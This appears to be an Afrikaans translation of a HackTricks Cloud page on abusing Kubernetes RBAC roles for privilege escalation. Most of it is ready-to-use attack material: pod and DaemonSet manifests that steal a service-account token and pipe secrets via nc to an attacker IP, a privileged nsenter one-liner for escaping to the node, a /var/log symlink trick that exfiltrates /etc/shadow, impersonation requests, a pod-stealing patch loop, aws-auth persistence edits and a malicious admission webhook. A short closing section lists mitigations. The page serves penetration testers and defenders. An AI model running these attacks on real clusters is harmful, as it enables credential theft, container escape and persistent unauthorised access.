Afrikaans - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Abusing Roles/ClusterRoles in Kubernetes

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Hier kan jy potensieel gevaarlike Rolle en ClusterRoles-konfigurasies vind. Onthou dat jy al die ondersteunde hulpbronne kan kry met kubectl api-resources

Bevoorregte Eskalasie

Verwysend na die kunsvorm om toegang tot 'n ander beginsel binne die cluster te kry met verskillende voorregte (binne die kubernetes cluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies 4 hoof tegnieke om voorregte te eskaleer:

  • In staat wees om ander gebruikers/groepe/SAs met beter voorregte binne die kubernetes cluster of na eksterne wolke te impersoneer

  • In staat wees om pods te skep/patch/exec waar jy SAs kan vind of koppel met beter voorregte binne die kubernetes cluster of na eksterne wolke

  • In staat wees om geheime sleutels te lees aangesien die SAs se tokens as geheime sleutels gestoor word

  • In staat wees om te ontsnap na die node vanuit 'n houer, waar jy al die geheime sleutels van die houers wat op die node loop, die geloofsbriewe van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige) kan steel

  • 'n Vyfde tegniek wat 'n vermelding verdien, is die vermoë om port-forward in 'n houer uit te voer, aangesien jy dalk toegang kan kry tot interessante hulpbronne binne daardie houer.

Toegang tot Enige Hulpbron of Werkwoord (Wildcard)

Die wildcard (*) gee toestemming oor enige hulpbron met enige werkwoord. Dit word deur administrateurs gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enige naamruimte in die cluster kan misbruik.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Toegang tot enige hulpbron met 'n spesifieke werkwoord

In RBAC stel sekere toestemmings aansienlike risiko's:

  1. create: Gee die vermoë om enige klasteroptie te skep, wat die risiko van voorreg-escalasie inhou.

  2. list: Maak dit moontlik om alle hulpbronne te lys, moontlik om sensitiewe data uit te lek.

  3. get: Maak dit moontlik om geheime van diensrekeninge te benader, wat 'n veiligheidsrisiko inhou.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Skep - Steel Token

'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod koppel en die token steel om die Diensrekening te impersoneer. Dit verhoog effektief die voorregte daaraan.

Voorbeeld van 'n pod wat die token van die bootstrap-signer diensrekening sal steel en dit na die aanvaller sal stuur:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Skep & Ontsnapping

Die volgende dui al die voorregte aan wat 'n houer kan hê:

  • Bevoorregte toegang (deaktivering van beskerming en instelling van vermoëns)

  • Deaktiveer namespaces hostIPC en hostPid wat kan help om voorregte te eskaleer

  • Deaktiveer hostNetwork namespace, wat toegang gee om wolkvoorregte te steel en beter toegang tot netwerke te verkry

  • Monteer gasheer se / binne die houer

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Skep die pod met:

kubectl --token $token create -f mount_root.yaml

Een-liner van hierdie tweet en met 'n paar toevoegings:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Nou dat jy kan ontsnap na die node, kyk na post-exploitation tegnieke in:

Steels

Jy wil waarskynlik steels wees, op die volgende bladsye kan jy sien wat jy sou kon toegang as jy 'n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon aktiveer:

  • Bevoorreg + hostPID

  • Slegs bevoorreg

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Jy kan voorbeelde vind van hoe om die vorige bevoorregte pod-konfigurasies te skep/misbruik in https://github.com/BishopFox/badPods

Pod Skep - Beweeg na die wolk

As jy 'n pod kan skep (en opsioneel 'n diensrekening) kan jy moontlik voorregte in 'n wolkomgewing verkry deur wolkrolle aan 'n pod of 'n diensrekening toe te ken en dit dan te benader. Verder, as jy 'n pod met die gasheer se netwerknaamspasie kan skep, kan jy die IAM-rol van die node-instansie steel.

Vir meer inligting, kyk na:

pagePod Escape Privileges

Skep/Patch Implementering, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Take en Cronjobs

Dit is moontlik om hierdie toestemmings te misbruik om 'n nuwe pod te skep en voorregte soos in die vorige voorbeeld te steel.

Die volgende yaml skep 'n daemonset en eksfiltreer die token van die SA binne die pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Uitvoer

pods/exec is 'n hulpbron in kubernetes wat gebruik word vir die uitvoer van bevele in 'n skaal binne 'n houer. Dit maak dit moontlik om bevele binne die houers uit te voer of 'n skaal binne te gaan.

Daarom is dit moontlik om binne 'n houer te kom en die token van die SA te steel, of om 'n bevoorregte houer binne te gaan, na die node te ontsnap, en al die tokens van die houers in die node te steel en die node te (mis)bruik:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Hierdie toestemming maak dit moontlik om een plaaslike poort na een poort in die gespesifiseerde peul te stuur. Dit is bedoel om dit maklik te maak om programme wat binne 'n peul hardloop te ontleed, maar 'n aanvaller kan dit misbruik om toegang te kry tot interessante (soos DB's) of kwesbare programme (web?) binne 'n peul:

kubectl port-forward pod/mypod 5000:5000

Gasheerders Skryfbaar /var/log/ Ontsnapping

Soos aangedui in hierdie navorsing, as jy toegang kan kry of 'n houer kan skep met die gasheerders /var/log/ gids daaraan geheg, kan jy ontsnap uit die houer. Dit is basies omdat wanneer die Kube-API probeer om die logboeke van 'n houer te kry (deur kubectl logs <pod> te gebruik), dit die 0.log lêer van die houer aanvra as deel van die /logs/ eindpunt van die Kubelet diens. Die Kubelet-diens stel die /logs/ eindpunt bloot wat basies net die /var/log lêersisteem van die houer blootstel.

Dus kan 'n aanvaller met toegang om in die /var/log/ gids te skryf van die houer hierdie gedrag op 2 maniere misbruik:

  • Wysig die 0.log lêer van sy houer (gewoonlik geleë in /var/logs/pods/namespace_pod_uid/container/0.log) om 'n symboliese skakel te wees wat na /etc/shadow wys byvoorbeeld. Dan sal jy in staat wees om gasheerders shadow-lêer te eksfiltreer deur:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

  • Indien die aanvaller enige hoof met die regte om nodes/log te lees beheer, kan hy net 'n symboliese skakel in /host-mounted/var/log/sym na / skep en wanneer hy toegang tot https://<gateway>:10250/logs/sym/ kry, sal hy die wortel-lêerstelsel van die gasheer lys (die skakel verander kan toegang tot lêers bied).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

'n Laboratorium en geoutomatiseerde uitbuiting kan gevind word in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Deurlopende readOnly beskerming omseil

As jy gelukkig genoeg is en die hoogs bevoorregte vermoë CAP_SYS_ADMIN beskikbaar is, kan jy net die vouer weer monteer as rw:

mount -o rw,remount /hostlogs/

Oor die omseil van hostPath readOnly beskerming

Soos aangedui in hierdie navorsing is dit moontlik om die beskerming te omseil:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Wat bedoel was om ontsnappings soos die voriges te voorkom deur in plaas daarvan 'n hostPath-montasie te gebruik, gebruik 'n PersistentVolume en 'n PersistentVolumeClaim om 'n gasheer se vouer in die houer te monteer met skryftoegang:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonating bevoorregte rekeninge

Met 'n gebruiker simulasie voorreg, kan 'n aanvaller 'n bevoorregte rekening simuleer.

Gebruik eenvoudig die parameter --as=<gebruikersnaam> in die kubectl bevel om 'n gebruiker te simuleer, of --as-group=<groep> om 'n groep te simuleer:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Of gebruik die REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lys van Geheime

Die toestemming om geheime te lys kan 'n aanvaller toelaat om werklik die geheime te lees deur die REST API eindpunt te benader:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lees 'n geheim - bruto-kragtiging van token-ID's

Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die wyer lys van geheime voorreg, is daar steeds kwesbaarhede. Standaarddiensrekeninge in die stelsel kan opgesom word, elkeen geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n lukrake vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die bronkode.

Die token word gegenereer uit 'n beperkte 27-karakterset (bcdfghjklmnpqrstvwxz2456789), eerder as die volledige alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller moontlik 'n bruto-kragtige aanval uitvoer om die token in 'n paar uur af te lei, wat moontlik kan lei tot voorreg-escalasie deur toegang tot sensitiewe diensrekeninge.

Sertifikaatondertekeningsversoeke

As jy die werkwoorde skep in die hulpbron certificatesigningrequests het (of ten minste in certificatesigningrequests/nodeClient). Jy kan 'n nuwe CeSR van 'n nuwe node skep.

Volgens die dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur, so in daardie geval het jy nie ekstra toestemmings nodig nie. Indien nie, sou jy die versoek moet goedkeur, wat 'n opdatering in certificatesigningrequests/approval en approve in signers met resourceName <signerNameDomain>/<signerNamePath> of <signerNameDomain>/* beteken.

'n Voorbeeld van 'n rol met al die benodigde toestemmings is:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

So, met die nuwe node CSR goedgekeur, kan jy die spesiale regte van nodes misbruik om geheime te steel en priviliges te eskaleer.

In hierdie pos en hierdie een is die GKE K8s TLS Bootstrap-konfigurasie ingestel met outomatiese ondertekening en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dit dan te misbruik om priviliges te eskaleer deur geheime te steel. As jy die genoemde regte het, kan jy dieselfde ding doen. Let daarop dat die eerste voorbeeld die fout omseil wat voorkom dat 'n nuwe node toegang tot geheime binne houers het omdat 'n node slegs die geheime van houers wat daarop gemonteer is, kan benader.

Die manier om dit te omseil is om net 'n node-geloofsbriewe vir die nodenaam waar die houer met die interessante geheime gemonteer is, te skep (maar kyk net hoe om dit in die eerste pos te doen):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Prinsipale wat configmaps in die kube-stelsel namespace op EKS kan wysig (moet in AWS wees) clusters kan klastervervalbevoegdhede verkry deur die aws-auth configmap te oorskryf. Die werkwoorde wat nodig is, is update en patch, of create as die configmap nie geskep was nie:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Jy kan aws-auth gebruik vir volharding om toegang te gee aan gebruikers van ander rekeninge.

Maar, aws --profile other_account eks update-kubeconfig --name <cluster-name> werk nie vanaf 'n ander rekening nie. Maar eintlik werk aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing as jy die ARN van die cluster plaas in plaas van net die naam. Om kubectl te laat werk, maak seker om die slagoffers kubeconfig te konfigureer en in die aws exec-args voeg --profile other_account_role by sodat kubectl die ander rekeningprofiel gebruik om die token te kry en kontak te maak met AWS.

Eskalering in GKE

Daar is 2 maniere om K8s-toestemmings aan GCP-prinsipale toe te ken. In enige geval moet die prinsipaal ook die toestemming container.clusters.get hê om geloofsbriewe te kan versamel om toegang tot die cluster te verkry, of jy sal jou eie kubectl-konfigurasie lêer moet genereer (volg die volgende skakel).

Wanneer daar met die K8s-api-eindpunt gepraat word, sal die GCP-geloofsbriewe gestuur word. Dan sal GCP, deur die K8s-api-eindpunt, eers nagaan of die prinsipaal (per e-pos) enige toegang binne die cluster het, dan sal dit nagaan of dit enige toegang via GCP IAM het. Indien enige van daardie waar is, sal daar gereageer word. Indien nie 'n fout wat voorstel om toestemmings via GCP IAM te gee sal gegee word.

Dan is die eerste metode om GCP IAM te gebruik, die K8s-toestemmings het hul ekwivalente GCP IAM-toestemmings, en as die prinsipaal dit het, sal hy dit kan gebruik.

pageGCP - Container Privesc

Die tweede metode is om K8s-toestemmings binne die cluster toe te ken aan die identifisering van die gebruiker deur sy e-pos (GCP-diensrekeninge ingesluit).

Skep diensrekeninge-token

Prinsipale wat TokenRequests kan skep (serviceaccounts/token) Wanneer daar met die K8s-api-eindpunt gepraat word, kan SAs (inligting van hier).

ephemeralcontainers

Prinsipale wat update of patch pods/ephemeralcontainers kan uitvoer, kan kodes uitvoer op ander pods, en moontlik ontsnap na hul node deur 'n ephemeral-container met 'n bevoorregte securityContext by te voeg.

ValidatingWebhookConfigurations of MutatingWebhookConfigurations

Prinsipale met enige van die werkwoorde create, update of patch oor validatingwebhookconfigurations of mutatingwebhookconfigurations kan dalk in staat wees om een van sulke webhookconfigurations te skep om sodoende toestemmings te eskaleer.

Vir 'n voorbeeld van mutatingwebhookconfigurations sien hierdie afdeling van hierdie pos.

Eskaleer

Soos wat jy kan lees in die volgende afdeling: Ingeboude Voorregte-Eskalasie Voorkoming, kan 'n prinsipaal nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die werkwoord escalate oor rolle of clusterroles het. Dan kan hy nuwe rolle skep/opdateer met beter toestemmings as die een wat hy het.

Nodes proxy

Prinsipale met toegang tot die nodes/proxy subbron kan kodes uitvoer op pods via die Kubelet API (volgens hierdie). Meer inligting oor Kubelet-verifikasie op hierdie bladsy:

pageKubelet Authentication & Authorization

Jy het 'n voorbeeld van hoe om RCE te kry deur geautoriseerd te praat met 'n Kubelet API hier.

Verwyder pods + onskeduleerbare nodes

Prinsipale wat pods kan verwyder (delete werkwoord oor pods bron), of pods kan verdryf (create werkwoord oor pods/eviction bron), of pod-status kan verander (toegang tot pods/status) en ander nodes onskeduleerbaar kan maak (toegang tot nodes/status) of nodes kan verwyder (delete werkwoord oor nodes bron) en beheer het oor 'n pod, kan pods van ander nodes steel sodat hulle in die gekompromitteerde node uitgevoer word en die aanvaller kan die tokens steel van daardie pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Diensstatus (CVE-2020-8554)

Prinsipale wat dienste/status kan verander, kan die veld status.loadBalancer.ingress.ip instel om die ongepatchte CVE-2020-8554 uit te buit en MiTM-aanvalle teen die klaster te lanceer. Die meeste mitigasies vir CVE-2020-8554 voorkom slegs ExternalIP-dienste (volgens hierdie).

Nodes en Pods status

Prinsipale met update of patch toestemmings oor nodes/status of pods/status, kan etikette verander om skeduleringsbeperkings te beïnvloed.

Ingeboude Voorregverhogingsvoorkoming

Kubernetes het 'n ingeboude meganisme om voorregverhoging te voorkom.

Hierdie stelsel verseker dat gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te verander nie. Die afdwinging van hierdie reël vind plaas op API-vlak, wat 'n beskerming bied selfs wanneer die RBAC-autoriseerder onaktief is.

Die reël bepaal dat 'n gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings besit wat die rol behels. Verder moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of verander: óf klasbreed vir ClusterRoles of beperk tot dieselfde naamspasie (of klasbreed) vir Roles.

Daar is 'n uitsondering op die vorige reël. As 'n hoof het die werkwoord escalate oor roles of clusterroles, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.

Kry & Verander RoleBindings/ClusterRoleBindings

Dit lyk asof hierdie tegniek vantevore gewerk het, maar volgens my toetse werk dit nie meer om dieselfde rede wat in die vorige afdeling verduidelik is nie. Jy kan nie 'n rolbinding skep/verander om jouself of 'n ander SA sekere voorregte te gee as jy dit nie reeds het nie.

Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om rolle aan 'n diensrekening te bind. Hierdie voorreg kan moontlik lei tot voorregverhoging omdat dit die gebruiker toelaat om admin-voorregte aan 'n gekompromitteerde diensrekening te bind.

Ander Aanvalle

Sidecar proxy-toep

Standaard is daar geen enkele versleuteling in die kommunikasie tussen pods nie. Wederkerige outentifikasie, tweerigting, pod tot pod.

Skep 'n sidecar proxy-toep

Skep jou .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Wysig jou .yaml en voeg die uitkommentarieerde lyne by:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Sien die logboeke van die skakel:

kubectl logs app -C proxy

More inligting by: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Skadelike Toelatingsbeheerder

'n Toelatingsbeheerder onderskep versoek aan die Kubernetes API-bediener voordat die objek volhard word, maar nadat die versoek geïdentifiseer en gemagtig is.

As 'n aanvaller op een of ander manier daarin slaag om 'n Mutatie Toelatingsbeheerder in te spuit, sal hy in staat wees om reeds geïdentifiseerde versoek te wysig. Dit kan potensieel privesc moontlik maak, en meer gewoonlik volhard in die groep.

Voorbeeld van https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Kyk na die status om te sien of dit gereed is:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Bespreek dan 'n nuwe houer:

kubectl run nginx --image nginx
kubectl get po -w

Wanneer jy die ErrImagePull-fout sien, kontroleer die beeldnaam met enige van die navrae:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Soos u kan sien in die boafbelding, het ons probeer om die beeld nginx uit te voer, maar die finale uitgevoerde beeld is rewanthtammana/malicious-image. Wat het nou gebeur!!?

Tegniese Besonderhede

Die ./deploy.sh skrips stel 'n muterende webhook-toelatingsbeheerder op, wat versoek aan die Kubernetes API wysig soos gespesifiseer in sy konfigurasie reëls, wat die waargenome uitkomste beïnvloed:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Beste Praktyke

Deaktivering van Outomatiese Montasie van Diensrekeningtokens

  • Pods en Diensrekeninge: Standaard monteer pods 'n diensrekeningtoken. Om sekuriteit te verbeter, maak Kubernetes dit moontlik om hierdie outomatiese montasie-eienskap te deaktiveer.

  • Hoe om toe te pas: Stel automountServiceAccountToken: false in die konfigurasie van diensrekeninge of pods vanaf Kubernetes weergawe 1.6.

Beperkende Gebruikerstoewysing in RoleBindings/ClusterRoleBindings

  • Selektiewe Insluiting: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Auditeer gereeld en verwyder onvanpaslike gebruikers om streng sekuriteit te handhaaf.

Namespace-Spesifieke Roles Oor Cluster-wye Roles

  • Roles vs. ClusterRoles: Gee voorkeur aan die gebruik van Roles en RoleBindings vir namespace-spesifieke regte eerder as ClusterRoles en ClusterRoleBindings, wat op die hele cluster van toepassing is. Hierdie benadering bied fynere beheer en beperk die omvang van regte.

Gebruik outomatiese gereedskap

LogoGitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissionsGitHub
LogoGitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clustersGitHub

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated